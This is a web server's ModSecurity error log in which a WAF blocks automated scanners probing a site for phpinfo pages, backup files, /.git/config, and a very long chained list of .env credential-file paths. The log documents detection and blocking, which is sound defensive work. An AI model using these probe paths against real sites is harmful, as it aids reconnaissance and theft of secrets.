[Sat May 09 01:14:58.881612 2026] [:error] [pid 51113:tid 51116] [client 3.106.208.88:44458] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev/phpinfo.php"] [unique_id "af4aEkQfs7sWtqkpQIeYXQAAAME"]
[Sat May 09 01:14:58.937215 2026] [:error] [pid 61317:tid 61322] [client 3.106.208.88:44472] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/old/phpinfo.php"] [unique_id "af4aEs-fFk_CedOCOYsEkwAAAUI"]
[Sat May 09 01:14:59.001696 2026] [:error] [pid 61355:tid 61373] [client 3.106.208.88:44484] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "af4aE_khJTi30CBXmMkgXAAAAYw"]
[Sat May 09 01:14:59.057959 2026] [:error] [pid 61355:tid 61382] [client 3.106.208.88:44492] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/phpinfo.php"] [unique_id "af4aE_khJTi30CBXmMkgXQAAAZU"]
[Sat May 09 01:14:59.115000 2026] [:error] [pid 61355:tid 61362] [client 3.106.208.88:44502] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info"] [unique_id "af4aE_khJTi30CBXmMkgXgAAAYE"]
[Sat May 09 01:14:59.171321 2026] [:error] [pid 61355:tid 61369] [client 3.106.208.88:44512] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php-info.php"] [unique_id "af4aE_khJTi30CBXmMkgXwAAAYg"]
[Sat May 09 01:14:59.299451 2026] [:error] [pid 61355:tid 61377] [client 3.106.208.88:44524] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpversion.php"] [unique_id "af4aE_khJTi30CBXmMkgYAAAAZA"]
[Sat May 09 01:14:59.480942 2026] [:error] [pid 61355:tid 61383] [client 3.106.208.88:44530] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/_phpinfo.php"] [unique_id "af4aE_khJTi30CBXmMkgYQAAAZY"]
[Sat May 09 01:14:59.688333 2026] [:error] [pid 51113:tid 51130] [client 3.106.208.88:44544] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/old_phpinfo.php"] [unique_id "af4aE0Qfs7sWtqkpQIeYXgAAAM8"]
[Sat May 09 01:15:00.011465 2026] [:error] [pid 34318:tid 34343] [client 3.106.208.88:44548] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/server-info.php"] [unique_id "af4aFMr3guirgJiKhzAAEgAAARc"]
[Sat May 09 01:15:00.193659 2026] [:error] [pid 51113:tid 51115] [client 3.106.208.88:44550] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/server-status.php"] [unique_id "af4aFEQfs7sWtqkpQIeYXwAAAMA"]
[Sat May 09 01:15:00.504385 2026] [:error] [pid 61355:tid 61376] [client 3.106.208.88:44562] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/_profiler/phpinfo"] [unique_id "af4aFPkhJTi30CBXmMkgZwAAAY8"]
[Sat May 09 01:15:00.780129 2026] [:error] [pid 61355:tid 61365] [client 3.106.208.88:44572] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/_environment"] [unique_id "af4aFPkhJTi30CBXmMkgaAAAAYQ"]
[Sat May 09 01:15:00.917222 2026] [:error] [pid 61317:tid 61328] [client 3.106.208.88:44574] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webroot/index.php/_environment"] [unique_id "af4aFM-fFk_CedOCOYsElgAAAUg"]
[Sat May 09 01:15:01.211617 2026] [:error] [pid 61317:tid 61327] [client 3.106.208.88:44578] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail/phpinfo.php"] [unique_id "af4aFc-fFk_CedOCOYsElwAAAUc"]
[Sat May 09 01:15:01.428960 2026] [:error] [pid 51008:tid 51054] [client 3.106.208.88:44584] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "af4aFXB58C2Y1tgLtuLUMgAAAEU"]
[Sat May 09 01:15:01.641149 2026] [:error] [pid 34318:tid 34332] [client 3.106.208.88:44596] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hosting/phpinfo.php"] [unique_id "af4aFcr3guirgJiKhzAAFAAAAQw"]
[Sat May 09 01:15:01.938701 2026] [:error] [pid 51113:tid 51127] [client 3.106.208.88:44606] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webmail/phpinfo.php"] [unique_id "af4aFUQfs7sWtqkpQIeYYwAAAMw"]
[Sat May 09 01:15:02.181819 2026] [:error] [pid 51008:tid 51050] [client 3.106.208.88:44610] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smtp/phpinfo.php"] [unique_id "af4aFnB58C2Y1tgLtuLUNQAAAEE"]
[Sat May 09 01:15:02.378000 2026] [:error] [pid 61356:tid 61400] [client 3.106.208.88:44626] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpinfo.php.bak"] [unique_id "af4aFox3vpB8oWhUq2McqgAAAcw"]
[Sat May 09 01:15:02.615504 2026] [:error] [pid 61355:tid 61372] [client 3.106.208.88:44638] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpinfo.php.old"] [unique_id "af4aFvkhJTi30CBXmMkgbgAAAYs"]
[Sat May 09 01:15:02.819289 2026] [:error] [pid 61356:tid 61403] [client 3.106.208.88:44648] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpinfo.php~"] [unique_id "af4aFox3vpB8oWhUq2McrAAAAc8"]
[Sat May 09 01:15:03.019191 2026] [:error] [pid 61317:tid 61325] [client 3.106.208.88:44656] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php.bak"] [unique_id "af4aF8-fFk_CedOCOYsEmwAAAUU"]
[Sat May 09 01:15:03.224759 2026] [:error] [pid 61356:tid 61394] [client 3.106.208.88:44670] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpinfo.php.save"] [unique_id "af4aF4x3vpB8oWhUq2McrgAAAcY"]
[Sat May 09 01:15:03.381844 2026] [:error] [pid 61355:tid 61368] [client 3.106.208.88:44680] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/staging/phpinfo.php"] [unique_id "af4aF_khJTi30CBXmMkgcAAAAYc"]
[Sat May 09 01:15:03.695431 2026] [:error] [pid 51008:tid 51071] [client 3.106.208.88:44686] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beta/phpinfo.php"] [unique_id "af4aF3B58C2Y1tgLtuLUOQAAAFY"]
[Sat May 09 01:15:03.843360 2026] [:error] [pid 61356:tid 61409] [client 3.106.208.88:44692] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uat/phpinfo.php"] [unique_id "af4aF4x3vpB8oWhUq2McsAAAAdU"]
[Sat May 09 01:15:04.104497 2026] [:error] [pid 61355:tid 61385] [client 3.106.208.88:44700] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qa/phpinfo.php"] [unique_id "af4aGPkhJTi30CBXmMkgdQAAAZg"]
[Sat May 09 01:15:04.400957 2026] [:error] [pid 51009:tid 51093] [client 3.106.208.88:44702] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/preview/phpinfo.php"] [unique_id "af4aGOB0GbUWhxgzX9WJKQAAAJE"]
[Sat May 09 01:15:04.628297 2026] [:error] [pid 61356:tid 61412] [client 3.106.208.88:44712] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www/phpinfo.php"] [unique_id "af4aGIx3vpB8oWhUq2McuAAAAdg"]
[Sat May 09 01:15:04.883643 2026] [:error] [pid 51008:tid 51069] [client 3.106.208.88:44722] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "af4aGHB58C2Y1tgLtuLUOgAAAFQ"]
[Sat May 09 01:15:05.075654 2026] [:error] [pid 61317:tid 61336] [client 3.106.208.88:44734] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public_html/phpinfo.php"] [unique_id "af4aGc-fFk_CedOCOYsEngAAAVA"]
[Sat May 09 01:15:05.289635 2026] [:error] [pid 61355:tid 61381] [client 3.106.208.88:44746] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/site/phpinfo.php"] [unique_id "af4aGfkhJTi30CBXmMkgegAAAZQ"]
[Sat May 09 01:15:05.615340 2026] [:error] [pid 61355:tid 61364] [client 3.106.208.88:44748] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs/phpinfo.php"] [unique_id "af4aGfkhJTi30CBXmMkgfQAAAYM"]
[Sat May 09 01:15:05.906385 2026] [:error] [pid 51008:tid 51062] [client 3.106.208.88:44750] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4aGXB58C2Y1tgLtuLUQAAAAE0"]
[Sat May 09 01:15:06.182790 2026] [:error] [pid 61355:tid 61383] [client 3.106.208.88:44764] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/administrator/phpinfo.php"] [unique_id "af4aGvkhJTi30CBXmMkghgAAAZY"]
[Sat May 09 01:15:06.351498 2026] [:error] [pid 61317:tid 61322] [client 3.106.208.88:44776] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core/phpinfo.php"] [unique_id "af4aGs-fFk_CedOCOYsEoQAAAUI"]
[Sat May 09 01:15:06.588783 2026] [:error] [pid 51009:tid 51095] [client 3.106.208.88:44792] [client 3.106.208.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/includes/phpinfo.php"] [unique_id "af4aGuB0GbUWhxgzX9WJLQAAAJM"]
[Sat May 09 01:42:24.619712 2026] [:error] [pid 51009:tid 51085] [client 3.26.75.234:45524] [client 3.26.75.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "af4ggOB0GbUWhxgzX9WWUgAAAIk"]
[Sat May 09 01:42:26.341317 2026] [:error] [pid 61355:tid 61364] [client 3.26.75.234:45536] [client 3.26.75.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4ggvkhJTi30CBXmMk56AAAAYM"]
[Sat May 09 01:42:51.103935 2026] [:error] [pid 61356:tid 61390] [client 3.26.75.234:45538] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/test/phpinfo.php"] [unique_id "af4gm4x3vpB8oWhUq2MtSQAAAcI"]
[Sat May 09 01:42:51.347896 2026] [:error] [pid 61356:tid 61397] [client 3.26.75.234:44106] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev/phpinfo.php"] [unique_id "af4gm4x3vpB8oWhUq2MtSgAAAck"]
[Sat May 09 01:42:51.568519 2026] [:error] [pid 61356:tid 61398] [client 3.26.75.234:44118] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/old/phpinfo.php"] [unique_id "af4gm4x3vpB8oWhUq2MtTAAAAco"]
[Sat May 09 01:42:51.690731 2026] [:error] [pid 61355:tid 61383] [client 3.26.75.234:44122] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "af4gm_khJTi30CBXmMk6QwAAAZY"]
[Sat May 09 01:42:51.930322 2026] [:error] [pid 61355:tid 61379] [client 3.26.75.234:44138] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/phpinfo.php"] [unique_id "af4gm_khJTi30CBXmMk6RgAAAZI"]
[Sat May 09 01:42:52.091332 2026] [:error] [pid 61355:tid 61362] [client 3.26.75.234:51332] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info"] [unique_id "af4gnPkhJTi30CBXmMk6SgAAAYE"]
[Sat May 09 01:42:52.309974 2026] [:error] [pid 61317:tid 61340] [client 3.26.75.234:51338] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/php-info.php"] [unique_id "af4gnM-fFk_CedOCOYsO8AAAAVQ"]
[Sat May 09 01:42:52.518807 2026] [:error] [pid 61355:tid 61373] [client 3.26.75.234:51354] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpversion.php"] [unique_id "af4gnPkhJTi30CBXmMk6UAAAAYw"]
[Sat May 09 01:42:52.741880 2026] [:error] [pid 51008:tid 51052] [client 3.26.75.234:51366] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/_phpinfo.php"] [unique_id "af4gnHB58C2Y1tgLtuLdoAAAAEM"]
[Sat May 09 01:42:52.876116 2026] [:error] [pid 61356:tid 61407] [client 3.26.75.234:51378] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/old_phpinfo.php"] [unique_id "af4gnIx3vpB8oWhUq2MtUAAAAdM"]
[Sat May 09 01:42:53.072406 2026] [:error] [pid 61355:tid 61368] [client 3.26.75.234:51388] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/server-info.php"] [unique_id "af4gnfkhJTi30CBXmMk6VwAAAYc"]
